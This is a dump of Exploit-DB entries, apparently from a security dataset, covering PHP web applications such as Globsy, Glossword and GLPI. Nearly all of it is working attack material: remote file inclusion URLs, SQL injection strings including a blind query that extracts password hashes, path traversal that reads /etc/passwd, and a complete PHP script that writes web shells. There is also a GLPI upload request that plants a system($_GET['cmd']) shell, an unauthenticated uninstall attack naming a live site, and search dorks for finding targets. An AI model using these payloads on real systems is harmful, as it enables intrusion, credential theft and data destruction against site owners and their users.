deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30436
Description: Global Centre Aplomb Poll 1.1 - 'index.php?Madoa' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-07-30
Author: ilker Kandemir

Exploit:
source: https://www.securityfocus.com/bid/25138/info

Aplomb Poll is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Aplomb Poll 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?Madoa=http://sheel.txt?
Exploit-DB #30437
Description: Global Centre Aplomb Poll 1.1 - 'vote.php?Madoa' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-07-30
Author: ilker Kandemir

Exploit:
source: https://www.securityfocus.com/bid/25138/info
 
Aplomb Poll is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
 
Aplomb Poll 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/vote.php?Madoa=http://sheel.txt?
Exploit-DB #41584
Description: Global In - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-03-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Global In - Arbitrary File Upload
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.techbizstudio.com/
# Software: https://www.techbizstudio.com/product/linkedin-clone/
# Demo: https://www.techbizstudio.com/demo/globalin/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# Exploit :
# Login as regular user
# http://localhost/[PATH]/dashboard
# Upload Photo / File.php
# http://localhost/[PATH]/post-images/[PII_REDACTED]_File.php
# Etc..
# # # # #
Exploit-DB #41583
Description: Global In - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Global In â€“ A LinkedIn Clone - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.techbizstudio.com/
# Software: https://www.techbizstudio.com/product/linkedin-clone/
# Demo: https://www.techbizstudio.com/demo/globalin/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/hsearch?accept=true&fnm=[SQL]&lnm=[SQL]
# http://localhost/[PATH]/search?type=company&key=[SQL] [Login as regular user]
# http://localhost/[PATH]/search?type=people&key=[SQL]&fnm=[SQL]&lnm=[SQL]&title=[SQL]&com=[SQL]&sc=[SQL]&co=[SQL]&industry=[SQL] [Login as regular user]
# tb_admin :id
# tb_admin :username
# tb_admin :email
# tb_admin :password
# tb_admin :ip_address
# tb_admin :is_active
# Etc..
# # # # #
Exploit-DB #12761
Description: GlobalWebTek Design - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-27
Author: cyberlog

Exploit:
               __                  __               
 .----..--.--.|  |--..-----..----.|  |.-----..-----.
 |  __||  |  ||  _  ||  -__||   _||  ||  _  ||  _  |
 |____||___  ||_____||_____||__|  |__||_____||___  |
       |_____|                               |_____|

####################################################
# GlobalWebTek Design SQL Injection Vulnerability
####################################################
# Vendor: http://www.globalwebtek.com/
# Discovered by : cyberlog
# Site          : Sekuritionline.net
# Channel       : #SekuritiOnline [ Now Just My Bot ] :P
# Dork          : "Site designed and built Powered by GlobalWebTek." 
		  inurl: productos.php?CAT=
		  inurl: etalle_productos.php?famid=
		  
# Exploit       : [site]/productos.php?CAT=[SQL Injection]
		  [site]/etalle_productos.php?famid= [SQL Injection]
		  

# Thanks        : r0073r,adhietslank, k1n9k0ng, cr4wl3r,cah_gemblunkz,
                  jayoes,thesims,setiawan,irvian,EA_Angel,BlueSpy,SoEy,A-technique,Jantap,KiLL,blindboy,sukam,
                  SarifJedul,wiro gendeng,Letjen,ridho_bugs,Ryan Kabrutz,Mathews, aurel666, Dony Hikoru,
# special to Mama Sri Rahayu, Member& Staff Sekuritonline, C0li a.k.a antisecurity [ pinjem script perl-na ] :), 
# Inj3ct0r Now Brothers with Sekuritionline
                
####################################################

# Demo: 
# http://localhost/productos.php?CAT=[sql]

####################################################

We never die !!!! indonesian Underground Community
!!!!! anjing buat oknum Pemerintah yang suka nilep uang rakyat !!!
!!!!! anjing juga buat admin site indon3sia yang merasa sok h3bat, dikasih tahu ada hole malah nyolot !!!!!

KacrUt I L0v3 U :P
Give me NOCAN Brothers :P
am nt hacker just Lik3 Syst3m S3curity



                __                  __  __    __                __  __               
 .-----..-----.|  |--..--.--..----.|__||  |_ |__|.-----..-----.|  ||__|.-----..-----.
 |__ --||  -__||    < |  |  ||   _||  ||   _||  ||  _  ||     ||  ||  ||     ||  -__|
 |_____||_____||__|__||_____||__|  |__||____||__||_____||__|__||__||__||__|__||_____|
Exploit-DB #5162
Description: Globsy 1.0 - 'file' Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-02-20
Author: GoLd_M

Exploit:
Globsy 1.0 (file) Remote File Disclosure Vulnerability
http://switch.dl.sourceforge.net/sourceforge/globsy/globsy_1.0.tar.gz
/globsy_edit.php?file=globsy_config.php
/globsy_edit.php?file=../../../../../../../etc/passwd

# milw0rm.com [2008-02-20]
Exploit-DB #6735
Description: Globsy 1.0 - Remote File Rewriting
Type: webapps
Platform: php
Date: 2008-10-12
Author: StAkeR

Exploit:
#!/usr/bin/php -q
<?php

/* 
   ----------------------------------------------------------------------
   Globsy <= 1.0 Remote File Rewriting Exploit
   Discovered By StAkeR aka athos - StAkeR[at]hotmail[dot]it
   Discovered On 12/10/2008
   http://switch.dl.sourceforge.net/sourceforge/globsy/globsy_1.0.tar.gz
   ----------------------------------------------------------------------
   
   globsy_edit.php
   
37. elseif($mode == "save"){   
38. $handle = fopen($filename, "w") or die("Write: The file <i>'".$filename."'</i> could not be opened.");
39. fwrite($handle, $data) or die("Write: The file <i>'".$filename."'</i> could not be writen.");    
   
   $mode is $_POST['mode'] and $data = $_POST['data']
   
   so you can rewrite (or create) any file 
    
*/


error_reporting(0);
ini_set("default_socket_timeout",5);

$host = str_replace('http:\/\/',null,$argv[1]);
$path = $argv[2]."/globsy_edit.php?file=";
$file = $argv[3];
$exec = intval($argv[4]);

if($exec == 8)
{
  $input = stripslashes(trim(fgets(STDIN)));
}
else
{
  $input = "Write your code\r\n";
}


$array = array(
               'include($_GET["input"]);',
               'exec($_GET["input");',
               'eval($_GET["input");',
               'file_get_contents($_GET["input"]);',
               'phpinfo();',
               'system($_GET["input");',
               'shell_exec($_GET["input");',
               'echo $_GET["input");',
                $input
              );

if($argc != 5)
{
  echo "[?] Globsy <= 1.0 Remote File Rewriting Exploit\r\n";
  echo "[?] Usage: php $argv[0] [host] [path] [file] [option]\r\n\r\n";
  echo "[?] Options: \r\n";
 
  for($i=0;$i<=count($array)-1;$i++)
  {
    echo "-$i $array[$i]\r\n";
  }  
    return exit;
} 

if(!$sock = fsockopen($host,80)) die("[?] Socket Error\r\n");

$path .= $file;
$post .= "mode=save&data=<?php {$array[$exec]} ?>";
$data .= "POST /$path HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Accept-Encoding: text/plain\r\n";
$data .= "Content-Length: ".strlen($post)."\r\n";
$data .= "Connection: close\r\n\r\n";
$data .= $post;

if(!fputs($sock,$data)) die("[?] Fputs Error!\n");

while(!feof($sock)) 
{
  $content .= fgets($sock);
} fclose($sock); 

if(!strpos('File data saved OK',$content))
{
  echo "[?] Exploit Successfully!\r\n";
  echo "[?] $array[$exec] written in $file\r\n";
}
else
{
  echo "[?] Exploit Failed!\r\n";
  exit;
}
  
  
?>

# milw0rm.com [2008-10-12]
Exploit-DB #28159
Description: Glossaire 1.7 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-03
Author: CrAzY CrAcKeR

Exploit:
source: https://www.securityfocus.com/bid/18792/info

Glossaire is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and gain access to the underlying system.

www.example.com/grossaire/index.php?pa=[evil_script]
Exploit-DB #31606
Description: Glossaire 2.0 - 'glossaire.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-04
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28609/info

Glossaire is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Glossaire 2.0 is vulnerable; other versions may also be affected.

http://www.example.com/glossaire2.0/glossaire.php?mode=2&limit1=0&limit2=4&letter=">
Exploit-DB #3935
Description: Glossword 1.8.1 - 'custom_vars.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-16
Author: BeyazKurt

Exploit:
GlossWord v1.8

ÅŸu script deÄŸil ! --> http://glossword.info/ !

Site : http://sourceforge.net/projects/glossword/

Author : BeyazKurt - B3yazKurt@Hotmail.Com

 

kimse ÅŸeyimde deÄŸil !

Download : http://sourceforge.net/projects/glossword/

include_once($sys['path_addon'].'/multilingual_vars.php');

[path]/custom_vars.php?sys[path_addon]=EvilC0de

# milw0rm.com [2007-05-16]
Exploit-DB #9010
Description: Glossword 1.8.11 - 'index.php?x' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-06-24
Author: t0fx

Exploit:
|-->Glossword 1.8.11 LFI
|-->CMS INFORMATION:
|                                                   
|-->WEB: http://code.google.com/p/glossword/                              
|-->DOWNLOAD: http://code.google.com/p/glossword/downloads/list                                  
|-->DESCRIPTION: Glossword is a system written in PHP to create and publish online multilingual dictionary, glossary, or encyclopedia.            
|                                               
|  CMS VULNERABILITY:                                       
|                                               
|-->TESTED ON: firefox 3                                           
|-->DORK: "Powered by Glossword 1.8.11" , "Powered by Glossword 1.8.6" ...                                           
|-->CATEGORY: LOCAL FILE INCLUSION (LFI)               
|-->AFFECT VERSION: all > 1.8.11                           
|-->Author: t0fx                                                                    
|-->GREETZ: europasecurity.org // security-shell.ws // str0ke // elitexbytes // Pig le marabou belge // p3lo // Sh0ck le congolais

|-->Exploit :
| http://www.website.fr/glossword_path/index.php?t=../../../../../../../../../../../../../etc/passwd%00

# milw0rm.com [2009-06-24]
Exploit-DB #9088
Description: Glossword 1.8.11 - Arbitrary Uninstall / Install
Type: webapps
Platform: php
Date: 2009-07-09
Author: Evil-Cod3r

Exploit:
#####################################################
#----------------------------- Evil-Cod3r -------------------------------#                                      
####################################################
==============================================================================
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                &n bsp;           

==============================================================================
        [Â»] ~ Note : n0 Friends =<
==============================================================================
        [Â»] Glossword Version 1.8.11 (Uninstall/install) Script Vlun
==============================================================================

    [Â»] Script:             [ Glossword Version 1.8.11 ]
    [Â»] Language:           [ PHP ]
    [Â»] Download:           [ http://code.google.com/p/glossword/downloads/list ]
    [Â»] Founder:            [ Evil-Cod3r <IE7@Windowslive.com - Xky@hotmail.com> ]
    [Â»] Gr44tz to:          [ The G0bl!n - v4-Team.Com members - Qabandi - Fl!x-Os - Mr.SaFa7 ]
    [Â»] Team:               [ v4-Team ]
    [Â»] SiteWeb:            [ Visit - v4-Team.Com - Creativexploit.Com ]
    [Â»] Price:              [ Free ]

###########################################################################

===[ Exploit To Uninstall The Script  ]===   
   
    [Â»] http://www.Site.com/path/gw_install/index.php?arg[il]=english&arg[target]=uninstall
   
== [ Exploit To New installation The Script ] ==

    [Â»] http://www.Path.com/path/gw_instal l/index.php?arg[il]=english&arg[target]=install

===[ LIVE DEMO ]===   

        [Â»] http://www.dataord.com

        [Â»] Uninstall : http://www.dataord.com/gw_install/index.php?arg[il]=english&arg[target]=uninstall
        [Â»] installation  : http://www.dataord.com/gw_install/index.php?arg[il]=english&arg[target]=install


Author: Evil-Cod3r <-

###########################################################################

# milw0rm.com [2009-07-09]
Exploit-DB #51234
Description: GLPI  Cartography Plugin v6.0.0 - Unauthenticated Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-04-03
Author: Nuri Çilengir

Exploit:
# Exploit Title: GLPI  Cartography Plugin v6.0.0 - Unauthenticated Remote Code Execution (RCE)
# Date of found: 11 Jun 2022
# Application: GLPI Cartography < 6.0.0
# Author: Nuri Çilengir 
# Vendor Homepage: https://glpi-project.org/
# Software Link: https://github.com/InfotelGLPI/positions
# Advisory: https://pentest.blog/advisory-glpi-service-management-software-sql-injection-remote-code-execution-and-local-file-inclusion/
# Tested on: Ubuntu 22.04
# CVE: CVE-2022-34128

# PoC
POST /marketplace/positions/front/upload.php?name=poc.php HTTP/1.1
Host: 192.168.56.113
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 39
Origin: http://192.168.56.113
Connection: close

<?php echo system($_GET["cmd"]); ?>
Exploit-DB #7911
Description: GLPI 0.71.3 - Multiple SQL Injections Vulnerabilities
Type: webapps
Platform: php
Date: 2009-01-29
Author: Zigma

Exploit:
[+] Application : GLPI v 0.71.3
[+] App'z URI   : http://glpi-project.org
[+] Bug         : Multiple Remote SQL Injections
[+] Author      : Zigma

[+] Home        : http://NullArea.Net

Let's have a look on the Security System GLPI uses :

--- \inc\includes.php ---

// Security system
if (isset($_POST)){
	if (!get_magic_quotes_gpc()){
		$_POST = array_map('addslashes_deep', $_POST);
	}
	$_POST = array_map('clean_cross_side_scripting_deep', $_POST);
}
if (isset($_GET)){
	if (!get_magic_quotes_gpc()){
		$_GET = array_map('addslashes_deep', $_GET);
	}
	$_GET = array_map('clean_cross_side_scripting_deep', $_GET);
}

As you can see , GLPI cleans the POSTS and GETS making it safe from
cross side scripting and Slahsing it if magic_quotes_gpc OFF ,
BUT
We are not obliged to use quotes injecting the GLPI
We can Inject for example the parameter ID with no need to use a quote
Taking rulesengine.class.php as an example :

--- \inc\rulesengine.class.php ---

	function cleanDBonPurge($ID){
		// Delete a rule and all associated criterias and actions
		global $DB;
		$sql = "DELETE FROM glpi_rules_actions WHERE FK_rules=".$ID; <--
		$DB->query($sql);
		
		$sql = "DELETE FROM glpi_rules_criterias WHERE FK_rules=".$ID; <--
		$DB->query($sql);
	}
---

Trying to inject...
since we can modify the ID parameter we will make the query looks like :

DELETE FROM glpi_rules_criterias WHERE FK_rules=1 UPDATE glpi_users
SET name=1337 AND password_md5=E48E13207341B6BFFB7FB[PII_REDACTED]B where
ID=1
and u can guess what u can do..


[+] Proof Of Concept :

http://127.0.0.1/glpi/front/user.form.php?ID=2+and+1=1 True , You get
your normal page
http://127.0.0.1/glpi/front/user.form.php?ID=2+and+1=1337 False , You
get "Item not found"
http://127.0.0.1/glpi/front/user.form.php?ID=2+and+substring(version(),1,1)=5
, True (in my case)
http://127.0.0.1/glpi/front/profile.form.php?ID=2+and+1=1337

So other files that uses ID parameter (besides the other parameters)
Im too lazy to write them all :/

[+] Time Line Notification  :

2009-01-23 - Contacted throw Forum , Bugs Section
2009-01-24 - GLPI version 0.71.4 Published (Security update)
2009-01-26 - GLPI version 0.71.5 Published (Fix for 0.71.4 Issues)

# milw0rm.com [2009-01-29]
Exploit-DB #26530
Description: GLPI 0.83.9 - 'Unserialize()' Remote Code Execution
Type: webapps
Platform: php
Date: 2013-07-01
Author: Xavier Mehrenberger

Exploit:
source: https://www.securityfocus.com/bid/60823/info

GLPI is prone to a remote PHP code-execution vulnerability. 

An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. 

GLPI 0.83.9 is vulnerable; other versions may also be affected.

An attacker can exploit this issue using a web browser. 

The following example URI is available: 

http://www.example.com/glpi/front/ticket.form.php?id=1&_predefined_fields=[XXXX]
Exploit-DB #35528
Description: GLPI 0.85 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2014-12-15
Author: Kacper Szurek

Exploit:
# Exploit Title: GLPI 0.85 Blind SQL Injection
# Date: 28-11-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek
# Software Link: https://forge.indepnet.net/attachments/download/1899/glpi-0.85.tar.gz
# CVE: CVE-2014-9258
# Category: webapps
  
1. Description
  
$_GET['condition'] is not escaped correctly.

File: ajax\getDropdownValue.php
if (isset($_GET['condition']) && !empty($_GET['condition'])) {
   $_GET['condition'] = rawurldecode(stripslashes($_GET['condition']));
}
if (isset($_GET['condition']) && ($_GET['condition'] != '')) {
   $where .= " AND ".$_GET['condition']." ";
}
$query = "SELECT `$table`.* $addselect
         FROM `$table`
         $addjoin
         $where
         ORDER BY $add_order `$table`.`completename`
         $LIMIT";

if ($result = $DB->query($query)) {

}

http://security.szurek.pl/glpi-085-blind-sql-injection.html

2. Proof of Concept

http://glpi-url/ajax/getDropdownValue.php?itemtype=group&condition=1 AND id = (SELECT IF(substr(password,1,1) = CHAR(36), SLEEP(5), 0) FROM `glpi_users` WHERE ID = 2)

3. Solution:
  
Update to version 0.85.1
http://www.glpi-project.org/spip.php?page=annonce&id_breve=334&lang=en
https://forge.indepnet.net/attachments/download/1928/glpi-0.85.1.tar.gz
Exploit-DB #42262
Description: GLPI 0.90.4 - SQL Injection
Type: webapps
Platform: php
Date: 2017-06-27
Author: Eric CARTER

Exploit:
# Exploit Title: Multiple SQL injection vulnerabilities in GLPI 0.90.4
# Date: 2016/09/09
# Exploit Author: Eric CARTER (in/ericcarterengineer - CS c-s.fr)
# Vendor Homepage: http://glpi-project.org
# Software Link: http://glpi-project.org/spip.php?article3
# Version: 0.90.4
# Tested on: GLPI 0.90.4 running on a Debian 7, Apache 2.2.2, MySQL 5.5.49
# CVE : CVE-2016-7508

Multiple SQL injection vulnerabilities in GLPI 0.90.4 allow an 
authenticated remote attacker to execute arbitrary SQL commands by 
using the [ELIDED] character when the database is configured to use 
asian encoding (BIG 5).



> [Affected Component]
The file ./inc/dbmysql.class.php defines the encoding the database 
should use. This files uses the "SET NAMES" function which offers the 
possibility to use a specific encoding.

> [Attack Type]
Remote

> [Impact Code execution]
True

> [Impact Escalation of Privileges]
True

> [Impact Information Disclosure]
True

> [Prerequisite]
The administrator of GLPI must have defined the variable 
$dbenc='big5' in ./config/config_db.php to support asian encoding. It 
will then be possible to do SQL injection in almost all the forms of 
the application.
 
> [Attack Vectors]
For the proof-of-concept, the attacker targeted the 
"Surname" form input in the User profile by adding the characters 
ø (\xBF\x27) before the SQL code (the request must be sent using Western
encoding) :
ø', [CREDENTIAL_REDACTED] -- x

Once received by the server, the request will be sanitized, giving :
ø\', [CREDENTIAL_REDACTED] -- x

The value will then be sent to the database with a BIG5 encoding. Here is the 
critical point, as BIG5 will see the string ø\ as a single asian character 
encoded on two bytes. As the single quote isn't escaped anymore, the 
SQL code will be executed and will set the password of every accounts 
to the value[PII_REDACTED][PII_REDACTED][PII_REDACTED]14 (=MD5 hash of "ximaz" string)
Exploit-DB #51229
Description: GLPI 4.0.2 - Unauthenticated Local File Inclusion on Manageentities plugin
Type: webapps
Platform: php
Date: 2023-04-03
Author: Nuri Çilengir

Exploit:
# ADVISORY INFORMATION
# Exploit Title: GLPI 4.0.2 - Unauthenticated Local File Inclusion on Manageentities plugin
# Date of found: 11 Jun 2022
# Application: GLPI Manageentities < 4.0.2
# Author: Nuri Çilengir 
# Vendor Homepage: https://glpi-project.org/
# Software Link: https://github.com/InfotelGLPI/manageentities
# Advisory: https://pentest.blog/advisory-glpi-service-management-software-sql-injection-remote-code-execution-and-local-file-inclusion/
# Tested on: Ubuntu 22.04
# CVE : CVE-2022-34127

# PoC
GET /marketplace/manageentities/inc/cri.class.php?&file=../../\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts&seefile=1 HTTP/1.1
Host: 192.168.56.113
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1